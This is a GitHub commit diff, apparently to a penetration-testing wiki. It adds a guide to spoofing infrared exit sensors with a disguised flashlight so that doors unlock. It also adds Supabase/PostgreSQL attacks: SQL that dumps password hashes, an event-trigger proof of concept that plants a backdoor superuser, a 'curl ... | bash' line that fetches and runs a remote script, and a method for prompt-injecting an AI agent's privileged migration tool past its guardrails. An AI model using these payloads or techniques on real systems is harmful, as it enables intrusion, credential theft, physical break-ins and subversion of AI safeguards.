You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/hardware-physical-access/physical-attacks.md
+25Lines changed: 25 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -112,9 +112,34 @@ After the tenth cycle the EC sets a flag that instructs the BIOS to wipe NVRAM a
112
112
113
113
---
114
114
115
+
## Covert IR Injection Against No-Touch Exit Sensors
116
+
117
+
### Sensor Characteristics
118
+
- Commodity “wave-to-exit” sensors pair a near-IR LED emitter with a TV-remote style receiver module that only reports logic high after it has seen multiple pulses (~4–10) of the correct carrier (≈30 kHz).
119
+
- A plastic shroud blocks the emitter and receiver from looking directly at each other, so the controller assumes any validated carrier came from a nearby reflection and drives a relay that opens the door strike.
120
+
- Once the controller believes a target is present it often changes the outbound modulation envelope, but the receiver keeps accepting any burst that matches the filtered carrier.
121
+
122
+
### Attack Workflow
123
+
1.**Capture the emission profile** – clip a logic analyser across the controller pins to record both the pre-detection and post-detection waveforms that drive the internal IR LED.
124
+
2.**Replay only the “post-detection” waveform** – remove/ignore the stock emitter and drive an external IR LED with the already-triggered pattern from the outset. Because the receiver only cares about pulse count/frequency, it treats the spoofed carrier as a genuine reflection and asserts the relay line.
125
+
3.**Gate the transmission** – transmit the carrier in tuned bursts (e.g., tens of milliseconds on, similar off) to deliver the minimum pulse count without saturating the receiver’s AGC or interference handling logic. Continuous emission quickly desensitises the sensor and stops the relay from firing.
126
+
127
+
### Long-Range Reflective Injection
128
+
- Replacing the bench LED with a high-power IR diode, MOSFET driver, and focusing optics enables reliable triggering from ~6 m away.
129
+
- The attacker does not need line-of-sight to the receiver aperture; aiming the beam at interior walls, shelving, or door frames that are visible through glass lets reflected energy enter the ~30° field of view and mimics a close-range hand wave.
130
+
- Because the receivers expect only weak reflections, a much stronger external beam can bounce off multiple surfaces and still remain above the detection threshold.
131
+
132
+
### Weaponised Attack Torch
133
+
- Embedding the driver inside a commercial flashlight hides the tool in plain sight. Swap the visible LED for a high-power IR LED matched to the receiver’s band, add an ATtiny412 (or similar) to generate the ≈30 kHz bursts, and use a MOSFET to sink the LED current.
134
+
- A telescopic zoom lens tightens the beam for range/precision, while a vibration motor under MCU control gives haptic confirmation that modulation is active without emitting visible light.
135
+
- Cycling through several stored modulation patterns (slightly different carrier frequencies and envelopes) increases compatibility across rebranded sensor families, letting the operator sweep reflective surfaces until the relay audibly clicks and the door releases.
136
+
137
+
---
138
+
115
139
## References
116
140
117
141
-[Pentest Partners – “Framework 13. Press here to pwn”](https://www.pentestpartners.com/security-blog/framework-13-press-here-to-pwn/)
Copy file name to clipboardExpand all lines: src/network-services-pentesting/pentesting-postgresql.md
+118Lines changed: 118 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -808,6 +808,123 @@ The attack steps are:
808
808
7._(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
809
809
8. You should now have the privileges of a full superadmin.
810
810
811
+
### Prompt-injecting managed migration tooling
812
+
813
+
AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts. A practical workflow is:
2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Framing payloads as “please verify this migration is denied” consistently bypasses basic guardrails.
824
+
3. Once arbitrary DDL runs in that context, immediately create attacker-owned tables or extensions that grant persistence back to your low-privileged account.
825
+
826
+
> [!TIP]
827
+
> See also the general [AI agent abuse playbook](../generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md) for more prompt-injection techniques against tool-enabled assistants.
828
+
829
+
### Dumping `pg_authid` metadata via migrations
830
+
831
+
Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.
832
+
833
+
<details>
834
+
<summary>Staging pg_authid metadata with a privileged migration</summary>
835
+
836
+
```sql
837
+
DROPTABLE IF EXISTS public.ai_models CASCADE;
838
+
CREATETABLEpublic.ai_models (
839
+
id SERIALPRIMARY KEY,
840
+
model_name TEXT,
841
+
config JSONB,
842
+
created_at TIMESTAMP DEFAULT NOW()
843
+
);
844
+
GRANT ALL ONpublic.ai_models TO supabase_read_only_user;
845
+
GRANT ALL ONpublic.ai_models TO supabase_admin;
846
+
INSERT INTOpublic.ai_models (model_name, config)
847
+
SELECT rolname,
848
+
jsonb_build_object(
849
+
'password_hash', rolpassword,
850
+
'is_superuser', rolsuper,
851
+
'can_login', rolcanlogin,
852
+
'valid_until', rolvaliduntil
853
+
)
854
+
FROMpg_catalog.pg_authid;
855
+
```
856
+
857
+
</details>
858
+
859
+
Low-privileged users can now read `public.ai_models` to obtain SCRAM hashes and role metadata for offline cracking or lateral movement.
860
+
861
+
### Event-trigger privesc during `postgres_fdw` extension installs
862
+
863
+
Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.
864
+
865
+
Exploit flow:
866
+
867
+
1. Create a PL/pgSQL event trigger function that checks `SELECT usesuper FROM pg_user WHERE usename = current_user` and, when true, provisions a backdoor role (e.g., `CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'`).
868
+
2. Register the function on both `ddl_command_start` and `ddl_command_end`.
869
+
3.`DROP EXTENSION IF EXISTS postgres_fdw CASCADE;` followed by `CREATE EXTENSION postgres_fdw;` to re-run Supabase’s after-create hook.
870
+
4. When the hook elevates `postgres`, the trigger executes, creates the persistent SUPERUSER role, and grants it back to `postgres` for easy `SET ROLE` access.
871
+
872
+
<details>
873
+
<summary>Event trigger PoC for the postgres_fdw after-create window</summary>
874
+
875
+
```sql
876
+
CREATE OR REPLACEFUNCTIONescalate_priv()
877
+
RETURNS event_trigger AS $$
878
+
DECLARE
879
+
is_super BOOLEAN;
880
+
BEGIN
881
+
SELECT usesuper INTO is_super FROM pg_user WHERE usename =current_user;
882
+
IF is_super THEN
883
+
BEGIN
884
+
EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
885
+
EXCEPTION WHEN duplicate_object THEN
886
+
NULL;
887
+
END;
888
+
BEGIN
889
+
EXECUTE 'GRANT priv_esc TO postgres';
890
+
EXCEPTION WHEN OTHERS THEN
891
+
NULL;
892
+
END;
893
+
END IF;
894
+
END;
895
+
$$ LANGUAGE plpgsql;
896
+
897
+
DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
898
+
DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
899
+
CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
900
+
CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
901
+
902
+
DROP EXTENSION IF EXISTS postgres_fdw CASCADE;
903
+
CREATE EXTENSION postgres_fdw;
904
+
```
905
+
906
+
</details>
907
+
908
+
Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles.
909
+
910
+
### Turning transient SUPERUSER access into host compromise
911
+
912
+
After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:
COPY (SELECT'') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
918
+
```
919
+
920
+
`pg_read_file`/`COPY ... TO PROGRAM` now provide arbitrary file access and command execution as the database OS account. Follow up with standard host privilege escalation:
921
+
922
+
```bash
923
+
find / -perm -4000 -type f 2>/dev/null
924
+
```
925
+
926
+
Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, `/etc/supabase`, kubeconfigs, agent tokens) to pivot laterally across the provider’s region.
927
+
811
928
## **POST**
812
929
813
930
```
@@ -854,6 +971,7 @@ The available password-based authentication methods in pg_hba.conf are **md5**,
854
971
855
972
## References
856
973
974
+
-[SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn)
857
975
-[HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
858
976
-[PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
859
977
-[Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)
0 commit comments